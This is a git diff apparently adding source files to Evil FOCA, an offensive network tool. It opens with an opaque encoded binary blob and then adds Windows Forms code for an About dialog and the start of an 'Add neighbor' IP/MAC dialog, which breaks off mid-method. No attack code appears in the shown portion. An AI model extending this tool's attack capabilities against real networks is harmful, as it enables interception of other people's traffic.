zfHm87)FSX4b)Rwm!@M@nI()xb*5|R3D;oa4!T;oGkp1~)HEpb7pvD2@-#-3B{v%NH26bP{*SujIT%?Pl7DDD%AqGBI)CJOO z1K~VK)7bCL>H}Hk3_)F#GGlENSLvevOt?Tdkwey69&x3Q=6<_{I&>U|Jjv6LH=1k8 znCdDq|0}}ai*feoAIN_M*PI#w{&UTp$(rs_V?bT2po_r!=CP|pO(MN65o$9vi(7{? zQQw2M>-@KtuOjY`mjwUIVSqJJRdmr8Q!mo(+t%~gEB;TNvjH`2#*kkM^Pltfo7eNP zi2-zxz5MrN`A5wkwx3!b19BY5xtR5kBf4mTIQQWmk9880stXlY0KRXLwV@KWSBOD8 z_#gk`MKa54>H=Lf=u2KxTCby^_&;XaI^+#U%^a5h3{^K_fgA@GW5EyOf#(7>AK0UR zJ{gQym2j>(HXQYqj5U`g0}HhtQe(hDT@*7Pa=+44lL`EnI27Pa)E2w*7sbDL8T`LQ zi~)~VB~vs-iB6o`Mh_zw&;{+GkR30*X7rsThpb!*qb zV{=8_D9Qi1kb6^IvC4GO7vq1hWBn=l?-eX^aje2BU zk4vvfmQVn`Z@pr)CS|JmUGY|OcH zunq#H&jspNur}7siymUqKA2qV1 z9&(K?8Zo=HQvQ58Vh#BxkA(goFUS{H-=qoHk1684*(5ktrXbDI(T#^LbYhm8=mh?}7vok#o<#6Zeg zY+R2{(mL>c8}diV98$K<>C0Sp<#VYeynLmsT&+4oy*g)gkv;q$I0p47GKW#S3`N6n zKb+b!rH{ZBls-~W8(al(?Yq&`)ULFx=m7P2b_~t{^wz1lxc?ZRKZZ}Z4@h16 z;rm>{aSMK|RR7q+yW0Mpl9E&Or~ij_X3Pu&{|m?` zeLGc_&(0oQlmz}Kag9K&PM|&x#F~`n0>{@yTtjmF*Y$({JjOm8kT3Y}mB{)Ba-UHo z>oK|@e^Jt_;Qy;v$yBe>d>rVtI~~wPF|ZkptwH&Bq%Mpz8d_Z>ZI2!r-!LPIf{UjhtKk{O7aR{~4YOJJW69J7Zrz``g&& z>Z&opKHz^3*n~4_oAp|tI{#gezbN^2=6@-fFmR17V)Bn`!N=+r|rV#WoXhU1=T;FNRp zPTynHy1UF_%m{kbCl*JmSF zQD8D^+NMoJJ>MBxO;d$|p}sHb7X~s0It~&8^V*&Y2l#CaI8@}r@lD70>AY31e_Q?e zi^}J_PJQE=;J?7&^-^+`E*b*+GwbMz_&;>QTI?-{QUGeo24#L#zNW0TabSUg$#02(nKXmGd8DED`4s^xDTR%o!qb**UN-N_+EqS=yV| zNY#sWl`iT(`4atf^R|d-Q~b8P&RDRKf;)o$sbj#;>EOSyuCfsW*Xbhv^u^Ha+f22W zt2uvBWqY)=x4{3mu93jt4Oz3>6}qVRxQnRUd0Xs@EcvcJFI={j!n>eeaq1|{!Ccds z#{ka*jDwZZFgW14o4(0&^sT%N@mn+ppnTs*EZb#kc!{9%1hp773)s(-;p1h9C z|8(X*$l4fiRu}zs@CCY3daJ@3x;X{AD5g7V1gDI^96S~@0XR(5Xp&eL1*Y?LGISKv z6wp*+f0=)pIR&K2I>Xj55c6^7x2UzgOXLf2bV8*q{vxY+$8Fdu(*JZr@?X@5mgB$`y6DlrUZ4|a zZ;AbAMSI{)Td)tpI*9iIydE_t{?39%;Ip7L*t@NuXa9uy>cEUK;BlemWqllEEuuC( zwu}5xHIlzb&$Vn{j@gX2ZAX^U_cpfYZz!a=yUR$hB;YV zpW16L+O$*JfH!N{Qo)@+)wo6u|gB;`sV}b4S{c(mPAO(A9$bI{VijcPj`C1eiFsSsLel4tvvcUf==D)z;h6w`~=^`Ej zBj;SgS&W+k1Gb4W4(umkpOv+9SB`vl<;qq1ct}3A%9=+V9xg)uq7xKaK@O?9ri&E+ z1qRv}aJ4QNDE*mIsby;MjckL{zdCr^U3 z98xaI8Dh3iu0mc%TYI#u_imMCzju?enDlW_J-SH5Ia8~?gp!C-+ zP#V*#=PC6SMdv8xWsP1sOUX!ObD-!AL;=UW6E1O`SNs&idrO&6*7 z_v$#0R?(bXo4QEw|NUDeF_7b+K^Mt<<27L~lKj6-9f5%u0}Z-J+9_(tUc~(G^q1Sj z#27T_B9pD6ChSG#{5N9Ipo=*7yUMj(UAoA~e>nykbWu&(i!Axypo>g4yP8-R+2((P zE;1Vj)ufAT@xMVAnZ|*>Pp$^rbw&Jd&_yN;s!JEy$NvUhR9(8L)BCr6R&rj^6*x8Q z(Tu)K7wDqE?)z_H&sAIz-!1>GVUKoP^C`ohUsa!ew*xD)-@o~G$G_Y@Xvt?=pVc^M zuos#3$xiOk4*PXIl$HJ#H4_-{IDjtV`M_Qhwrltg*oPziXzWV{!Kcr06uY6v{y?4q`LRqp3x)HTrF7vlZ)o@T;Qp|7 z?}qyv!+meVy}HHklo{^TBi-=5dL-XpGW^bA!+nn7zPI6CzjZS_-c4^Y{@L(&H^bxI zOs&W74GimtqRpQU}PZa)jPX?5%{I%}^hGN)b05`78Hn6~ znis&H$tVNB{@#$aAmD$8$NmuLtT1{yxB7Khs(lWgu!JY8){3iZmGr&!hW*{e7XUAp<#goD9?j{CzTky>_;| zPRao4D>RBO1pe#IWq|ANh}vI_{~am=wJZQW*}MB&=3S~&GQhPpfIX9$3~=46Fw`Ck zM-8kySq5qm|CSo|jDMY!0j}*4y@47>fs8T`nM;ircR_c!4Ac_-jJ@S~^137gO=3}7 z1eiBr{EadoYJRN({;0nOy5nV_7VvM`X-|J+&N1JPa{Sj7J#~kbxS+ z->>tY{(8>4Iw%88<2S=MumQD=F!psB;5mS?Uy0h~%YeIvy}I7%GEhVK3+%OA4s}rm zWKE?);LoIFU_ENP<)S|HD%9s*3hckDe=<-5_(R|K=bV=T0)LC#mvul7G)v@qS{pP{ zGQj#D*hjIRM-61)UoT~#n(+_ly03p=SI&7V^Pbi<8EBsHJ!*Uv!cPp+Wnew@|61sM z=zM`a@Q+=sCn50*f&89#>SD~)@vE44)}w*ALwtM_xGUG z0d+(MJQ(}LLJ;GxWMDmNKITv})E;aSxlp6}F9WW|pRwnBR>quGbx99+ByS;)q(ao# zWBip2KnF1PajU3l6ly(3eS@(N5^_+#Wx$pAx9)zZe=E*8%~S_vz%ykFc_ssU#$T6# z^_ctDidwtPfH`B|6ng(|kpWlXkDTNETN`s;*D)FJN<|&VqnklZ0ao;#>CTJGcfwSw~n$Q*aGxo-u+pR6~iPiR8z}R~MdnTg{ zxF@VZz1!u$d@?l&9g7-?iL?=TcJ4Bri> zMvx6D1GDPYzMv}jx9xePzj@C0x+MeN>A*e}*fajR3>1=Q;u^|+HlL22xI|oQ%v$bU z{_f<-(=>nac50VCPRM}J1DFfMy0D(?4V}ebV6Wv>t&1|?1MIySdqqM9fIY^&XZ#8} zefBDj-;rH8YZolpF7$wy3&Otw{=7G+ANvAl@NfI@k^VRjN$nW_Iw%7^8NfbmgTUV; z1BIw_xe9uJg}|S4tlEn|*92}9JXEX&nlS!RU)P(xp`-Y>1NNpo?{!ZGT4Zb^AI3hd z&|C(9y=Nk@2mUMr>c`%k)qb%ffj`!U*bg*i{OgH*z!Cg0=KGtSNq>a#uRAi(GE-vD z_#0)wD{(cjUoP?2WWX8xn*?KzfblPF1ogv4WH0{h9zE7y&kLdDP^?ROfU$3pz5!Gy zuvaqRmBizou~!5g02xp}c8~wKk=PrK#a?l`82|OfMr05E9Uf!sO?fFq{>C~a1HM_? zQOB3DS0rV?J9!m(B`pKqObUOg2OP(L1ndKh|CiJ(a=xYm?tD98W%x7poFmCHPf}fx z0pINH)G~7ewPgGaGT@WEQee;cTay7t@%N7#4*bVZ)9~rQe}SO-U@NW&{|=8G?{CcM zUDss5x8pYQ1?G&sQ3iZ4?!A-011+^F0}kUKKb)F|j0XPGs9Dr};Qw{KkO5oxcX%Aw zbFCHBS*eRM;NP)`d@=5QGYidRphe0GiG32|Z(9bO!XLK6X5mwT|2z=ufID9Xtl^Iu zNBu)lXT(@*r!L8WU#BAS%PJ&4fxk%xTBNQZA7IWTu&+P{9L7Ik7&T@5Bc@XGsJT)H z)B_o?#2@*v`m34(bx{WVJ8cK{z#L?ffkJALwwzi(-z)qplL3eEj|cu?8vfC9Ap@)f zFb~|}GGN3%!~G=`xIcGvczr~a0-7O|B)E~ zjDPgJdLaV}|F9>Ie-g`GBay3}<22K=5p_S=Z3P92x{*F6~s>{>(t9XALv$$&QQQ@#cM zOpeQdQ}~CBpym;iG4^@<1OIv;0~qr!o7Y*ZJ2DW|wU`1r6-v@&U_JS!e}_4r$2*gA zGTEf=sYni0_w(J%JDFiDcZ1{UPrWmn!(}ivQqPpnwFP|3_f{ z$M|Rbg$%GBU^(FRfI%LFeL&kE3R^Mz3%=HT2JAcL_yH}xyjJ6g@+tC})3+G^x*`Lu z9>BO~>^pA&{sk0}ol5~(Ysfd{Yv4N@G>cj!G0h|&oo11DA``w7G@HDWnE1Oni2Go| z=LB36<_b~*V6Xo#AYl+S3*-5JqL2Ze2Lxd~z&0U4*c5+;HskWW0*MDoVfJC11*dBrl}J3*7lD~^f3n?jy~@HqzeAjaKZ?8W$x9|-)1 z2^nBL(3Eun)&qjDFJRlCpfK&qpW!cHpAq{FMeG3l#~ec@f0BkQU+=$t{AzA ze;c}9{Rls}!bov}>nLGnnjs*=T@0ela9Sw>a4h)A$!e_7O z;pB;{XB5*2@`z-@cY;QeM-&r(H;UW^;d8_&n=zlZVnGAq22#`D{=oE8&=0+{03 zK_l^b0KNl-@O7Xh#1%J2TybN>6*opqF_Ruw96UmcD`pv}p}1n?CcZZed22x|15v*} zi+b0Lf9=XZt1cTTDC=8#_|?VKZ|HiO^-U4wZ`e!w50=oel2Z=jWedl;@cq$aCuz(y z*sNnmA+B(QJYP@~am8WCPsurpHT?OC`WbaX2HyQBpT6IIxL)C0nXHYSj$EQRUr-}) z#o=p3zUuqJ*O|$HUi-Ti^}yPVXX(+(7<&DQyQ@v zxvG(`68Kw}0j^=NnPQ%2{A))B3b$Pl_@6(2{w~IU7&XE9W7o!%GWPi(V9!)e1~`Yk ztY^gd*Om-ix^jc~9G033?}V$e8@b|o>eN}-5nw}dWjrD0D2>Lr7uc(-Q3g=IB`enq2b#$M58ihbb%)rJf_`o5g|Z{ED=(D=W2@uDjsaL5MiD*Rb?_Z>V( z;oTPkf5efwAcmxI)N~Gs z#XmfQA|G5pVLcX8*aJ*UD6|KNuMaF06w)16rf$n9@@PL&ih9iP7xx!8By z1mnI*jKsbP#(p^&h~9`iwp#>Q%0TQNB>pum1LNkN5*XOK_bb|Yh*~BLr2Ly0$@M>p9%au6#g+9{wxQzC<9F} z?wiKuBWK|{fjeVwE(54tQbCPNfqyN?z&EST2nb3`OYIu}GZt)u|8E5OGX816pK-5( z3^u+{oOOA?zd(|u42V4DTan9lt4$e*`{PBb4H-~- zzpGcT+J*m!NqG|g@u4(K$DFcq;ACSkdn){EO9o<=3hbN372t~T zZz%)7-kw^wjDKy&zz+v53ka@UxndXopA20MfB#7GO`Zz;=TU$WcjLXCbAjXde~NgI z&)`=c3G62e{A*1HqL(6PU9P~Lu`eeBu^Xu=*E+VN-f_H!e@)B4k>jNT0()(LfA6=1 zTE>qeKj0sbK40Kp6&Y|8|G)&s|8v9=aQwj}F$XaIH7*0ui;=G~ANVunm6rk3E^wsg zb^MDLsWxQb%(-g<0(<>_ul;>KwM+#5Dbs+z9RG~Jvohc~{?Pvd{}G5KngAJK9U$j{ z8k2#TCCFEq56ZJH1MwSC|J<><=kYIIqS}xFw*B!B@8|8Y`#t^EOsxM$1AmPF490(f zt^=Hr0q5|C{zoj4C*sSPYE%YdzD2I;JW1AMAc3(j(#U=pkoecU4E%WQrhwqWg$s7! z-{Xa;hXZ&kc25#QG?GXMQpPDG}_fLiX=kcG3H9!?)z;XOPA&)SH|9BB=S|c(LvkWdTm}+ex=ghp1GjET{O$GqCG{MOz5i(PPn}AEJpMBnf9GYu zQTziF82?YnE0V`QB)*LC&-mA{3@HDdz4*sJI7Z+fAjUuA&%}Cw=K^g$V0jR00=YKu$Gtyd$;DOO z!*1w@eS`Y3_x(Kn-NX8mXT%`#!WzIkdYq;QSQp6kpxhVm-caog;3r^Tf$$fw&w%fz zf!Jp-9ex2O_8Bl4`~`7eYuM-F%49AB9vJtYsm0`}@UMalF#fe61CH`PID44T|BOEq z&jXUCi9Mko)&+j4({a!ArB1%M_e}=zRoy3lrCx8h{s~Iz2mCPy@ER~;Fy?`wVlI&9 z4z#lee9i#&0k#qGc?01qfW4S~MuMVnWr`dF8Y`%I#8{ju8V{O4%_FBEAN_pfsb7n{ zRSJ7`l``O&ypg=pb^?E?v)%U1;cH7x@Q0DH$@hb+c_l#l_Q2bg$0AZZM21E3_P zvA8#<7WmvE0mN7Bp5JTl+JpC}J%2x%nuqijGQjfy6R!t&P00HKN$?TEM!>o+)fFXb1@B3I&aX4w!~>YRe`5$+_iZz$;}Fu-_%{ca;nzzQXv|ybLJ( z?b-YD@5J>OO)LY7g0qGbQwNL;iPu10Da!sm(lQ?uaDaBdKO<#>$!geAyb z1?*V|7-YaJWg~f~?-Jxn8AxLMYe5Da#ovfURqr{U_n9+i9F_roZ^`kKbnsA#6LcJZ zV@}0C9Hzlz*5Dk_Q1Zao_lTW?Jf)2PS~D5&#<=&+kl4Fg29jRALNzS|DKDQ>@H>S; zRq?NDe?Q@?%~%&q0{*j+pL_{wRWSZi1~`AcPv#Hglkr2f$UxGoSE;6DApMmF{Eaer z0(C~*qb3Ucy)gcT?q?ZD-AFAmcT4=MNd}Sy{xvHD>93mbw|D(#MQ4U{a;t`cVsV69rDNcd&bSi`hPL`q;H~@*?T1Z)hq)7 z|5}g%B>;5+f5!gSty>Q52VE@#3V)xpT!B5~UlTHr{8}m1h78md{7Xts633wN&(A;q zO!mejxgLMyFhRaz-;R3(Dg3Kj22x&U{A*qY6#kCtUDg+_BCh@R+`9{K2IXhf9C2ki z;J9RtO=ABvx3N0))JdEJ@`_tPzMUBRy&B2!ujD|i1*%~#VEk)C1{A~X_5Z8!rvA$DFtpz!Bw^~*rY8xsGTmI3Aeu{Zw5 zmH6|!Pn^0;9iRJ7^B2iDve*8ROL-fQ3Rz(Pv}&WHc-s5>{QSKKFH*u&`^c}eMl~!0 zsc-y9wIKt_|7$P)!P!H}KY1htrB9?**|R`%K(moEXpTm6DTsZ7S>-7R{y`@87fQ0< zcigt~LZ{Ceh4#p!$j1*-#N&rSha^3Ah{6ROq`eG-VEQC#oi#&XUsEz5&Y3uP&d5J=4Fx^0pMts{6cpGEcy~J>sp|m>5VW5H z1pc)r0}B6|mH`$2WpDg>pz672P>9kp3sezvg9N!;VV= ze|z)4^cl2F;2)4WLf8O=4#?tlAnyfcYVt5kyO;9*hZk)2{PxvK2V<6Zs3f4 zAh08_fA}!)KMDf&cc2Ui{A)o5zFjMQ!1m_;96K!!>%T83AO$vnw9#T85STsz_5ew2 z7YYUL5AZ;3c_bWZFyt4BJft^-SyN8boYK!Zg zDgzmey`mb_1CzgzxwO~@s%*OzUBBPHp8}JCeqV|sf`$vuee3{0zVE(q$lg4#cN6!;$#bf?Qe#@jcjHe}$bf0|-|?6m<_q#vC5 zx6_CNp7-q*itIW9GB8-^0iG9Ztp|cSt)LFTzQdy>kO7H5%fX#21DWqI{4t479?y5B}XT3V!T3uxF}2GLZSsPXhnikb%v`au3KtV6Pvbx@17C z2XLN@^}pOBNb#Wtj(vbpYFfYD)%qU%>moz_c$#3`y(G%P92m5(?=B z?3wDR3^4w+DFgp^s7VK~46r@O-k6Ze#XaaX{aqph*?*S!*A*G4C=W^6 zYnLedElF8#UL-+p;0nro;{s*AE-B-+3zYHNc}cIHr*uK*h|e9T2|7z@FLT|~x>fhQ zHsS}e|9p$?BpIlUT($LiF6b!mZ;*kAXP^t7W;%^IK#{f%sK;|b$M~S8Mr%Spd$PmWT5`bKxOzh$Uyy;0ekRokb(Lu z1NP$IAOrPN1{}e^K?drd3^ zWgwvI!H3=O)9L+Ny&GiUBE|jjqMQfrg1I2D$H9*od-cP5faijS^*}wAfd>!XY}Mmn z9!QLP#$KGQ=&hu{?HByHO#kS14}ZR4`Ye9`lEvr47N2u0KKHixZ1~8}GrUf;=eEVa z8(+`AZ+ty}K5X&(IToLLTYNTt#NV5}9-qx#kI!bW$7i$G)k9~?`H9OH;dQ1S-jqjax9+T+v2nNM>q4{ySbV7-p$Rt_ik?Hy?1jvZ1KFDN. +*/ +namespace evilfoca +{ + partial class FormAbout + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.labelVersion = new System.Windows.Forms.Label(); + this.labelCopyright = new System.Windows.Forms.Label(); + this.labelProductName = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel5 = new System.Windows.Forms.Panel(); + this.label2 = new System.Windows.Forms.Label(); + this.panel6 = new System.Windows.Forms.Panel(); + this.panel1.SuspendLayout(); + this.panel5.SuspendLayout(); + this.SuspendLayout(); + // + // labelVersion + // + this.labelVersion.AutoSize = true; + this.labelVersion.BackColor = System.Drawing.Color.Black; + this.labelVersion.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.labelVersion.Location = new System.Drawing.Point(9, 32); + this.labelVersion.Name = "labelVersion"; + this.labelVersion.Size = new System.Drawing.Size(64, 13); + this.labelVersion.TabIndex = 26; + this.labelVersion.Text = "labelVersion"; + // + // labelCopyright + // + this.labelCopyright.AutoSize = true; + this.labelCopyright.BackColor = System.Drawing.Color.Black; + this.labelCopyright.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.labelCopyright.Location = new System.Drawing.Point(9, 76); + this.labelCopyright.Name = "labelCopyright"; + this.labelCopyright.Size = new System.Drawing.Size(73, 13); + this.labelCopyright.TabIndex = 27; + this.labelCopyright.Text = "labelCopyright"; + // + // labelProductName + // + this.labelProductName.AutoSize = true; + this.labelProductName.BackColor = System.Drawing.Color.Black; + this.labelProductName.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.labelProductName.Location = new System.Drawing.Point(9, 10); + this.labelProductName.Name = "labelProductName"; + this.labelProductName.Size = new System.Drawing.Size(94, 13); + this.labelProductName.TabIndex = 28; + this.labelProductName.Text = "labelProductName"; + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.Black; + this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel1.Controls.Add(this.labelCopyright); + this.panel1.Controls.Add(this.labelProductName); + this.panel1.Controls.Add(this.labelVersion); + this.panel1.Location = new System.Drawing.Point(27, 48); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(394, 100); + this.panel1.TabIndex = 29; + // + // panel5 + // + this.panel5.BackColor = System.Drawing.Color.Black; + this.panel5.Controls.Add(this.label2); + this.panel5.Location = new System.Drawing.Point(28, 33); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(90, 24); + this.panel5.TabIndex = 32; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.BackColor = System.Drawing.Color.Black; + this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(0))))); + this.label2.Location = new System.Drawing.Point(9, 3); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(70, 13); + this.label2.TabIndex = 34; + this.label2.Text = "Information"; + // + // panel6 + // + this.panel6.BackColor = System.Drawing.Color.Black; + this.panel6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel6.Location = new System.Drawing.Point(27, 32); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(92, 17); + this.panel6.TabIndex = 33; + // + // FormAbout + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackgroundImage = global::evilfoca.Properties.Resources.Splash; + this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.ClientSize = new System.Drawing.Size(450, 234); + this.Controls.Add(this.panel5); + this.Controls.Add(this.panel6); + this.Controls.Add(this.panel1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FormAbout"; + this.Padding = new System.Windows.Forms.Padding(9); + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "About"; + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel5.ResumeLayout(false); + this.panel5.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label labelVersion; + private System.Windows.Forms.Label labelCopyright; + private System.Windows.Forms.Label labelProductName; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.Panel panel6; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/FormAbout.cs b/EvilFoca/FormAbout.cs new file mode 100644 index 0000000..d523ec1 --- /dev/null +++ b/EvilFoca/FormAbout.cs @@ -0,0 +1,120 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Linq; +using System.Reflection; +using System.Windows.Forms; + +namespace evilfoca +{ + partial class FormAbout : Form + { + public FormAbout() + { + InitializeComponent(); + this.Text = String.Format("About {0}", AssemblyTitle); + this.labelProductName.Text = String.Format("Product: {0}", AssemblyProduct); + this.labelVersion.Text = String.Format("Version: {0}", AssemblyVersion); + this.labelCopyright.Text = AssemblyCopyright; + } + + #region Assembly Attribute Accessors + + public string AssemblyTitle + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false); + if (attributes.Length > 0) + { + AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0]; + if (titleAttribute.Title != "") + { + return titleAttribute.Title; + } + } + return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase); + } + } + + public string AssemblyVersion + { + get + { + return Assembly.GetExecutingAssembly().GetName().Version.ToString(); + } + } + + public string AssemblyDescription + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyDescriptionAttribute)attributes[0]).Description; + } + } + + public string AssemblyProduct + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyProductAttribute)attributes[0]).Product; + } + } + + public string AssemblyCopyright + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyCopyrightAttribute)attributes[0]).Copyright; + } + } + + public string AssemblyCompany + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyCompanyAttribute)attributes[0]).Company; + } + } + #endregion + + } +} diff --git a/EvilFoca/FormAbout.resx b/EvilFoca/FormAbout.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/FormAbout.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/FormAddNeighbor.Designer.cs b/EvilFoca/FormAddNeighbor.Designer.cs new file mode 100644 index 0000000..ac1584c --- /dev/null +++ b/EvilFoca/FormAddNeighbor.Designer.cs @@ -0,0 +1,185 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormAddNeighbor + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.tbMAC = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tbIP = new System.Windows.Forms.TextBox(); + this.btCancel = new System.Windows.Forms.Button(); + this.btOk = new System.Windows.Forms.Button(); + this.btMac = new System.Windows.Forms.Button(); + this.titulo = new System.Windows.Forms.Panel(); + this.label3 = new System.Windows.Forms.Label(); + this.titulo.SuspendLayout(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(29, 70); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(30, 13); + this.label1.TabIndex = 0; + this.label1.Text = "MAC"; + // + // tbMAC + // + this.tbMAC.Location = new System.Drawing.Point(80, 67); + this.tbMAC.Name = "tbMAC"; + this.tbMAC.Size = new System.Drawing.Size(166, 20); + this.tbMAC.TabIndex = 1; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(29, 43); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(17, 13); + this.label2.TabIndex = 2; + this.label2.Text = "IP"; + // + // tbIP + // + this.tbIP.Location = new System.Drawing.Point(80, 40); + this.tbIP.Name = "tbIP"; + this.tbIP.Size = new System.Drawing.Size(166, 20); + this.tbIP.TabIndex = 3; + // + // btCancel + // + this.btCancel.Image = global::evilfoca.Properties.Resources.Cancel; + this.btCancel.Location = new System.Drawing.Point(173, 105); + this.btCancel.Name = "btCancel"; + this.btCancel.Size = new System.Drawing.Size(74, 35); + this.btCancel.TabIndex = 6; + this.btCancel.Text = "Cancel"; + this.btCancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btCancel.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btCancel.UseVisualStyleBackColor = true; + this.btCancel.Click += new System.EventHandler(this.btCancel_Click); + // + // btOk + // + this.btOk.Image = global::evilfoca.Properties.Resources.Add; + this.btOk.Location = new System.Drawing.Point(80, 105); + this.btOk.Name = "btOk"; + this.btOk.Size = new System.Drawing.Size(74, 35); + this.btOk.TabIndex = 5; + this.btOk.Text = "Accept"; + this.btOk.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btOk.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btOk.UseVisualStyleBackColor = true; + this.btOk.Click += new System.EventHandler(this.btOk_Click); + // + // btMac + // + this.btMac.Image = global::evilfoca.Properties.Resources.Start; + this.btMac.Location = new System.Drawing.Point(252, 40); + this.btMac.Name = "btMac"; + this.btMac.Size = new System.Drawing.Size(35, 23); + this.btMac.TabIndex = 4; + this.btMac.Tag = "Obtain MAC automatically"; + this.btMac.UseVisualStyleBackColor = true; + this.btMac.Click += new System.EventHandler(this.btMac_Click); + // + // titulo + // + this.titulo.BackColor = System.Drawing.SystemColors.ActiveCaption; + this.titulo.Controls.Add(this.label3); + this.titulo.Location = new System.Drawing.Point(0, 0); + this.titulo.Name = "titulo"; + this.titulo.Size = new System.Drawing.Size(322, 21); + this.titulo.TabIndex = 7; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(3, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(314, 20); + this.label3.TabIndex = 8; + this.label3.Text = "Add neighbor"; + this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // FormAddNeighbor + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(320, 165); + this.ControlBox = false; + this.Controls.Add(this.titulo); + 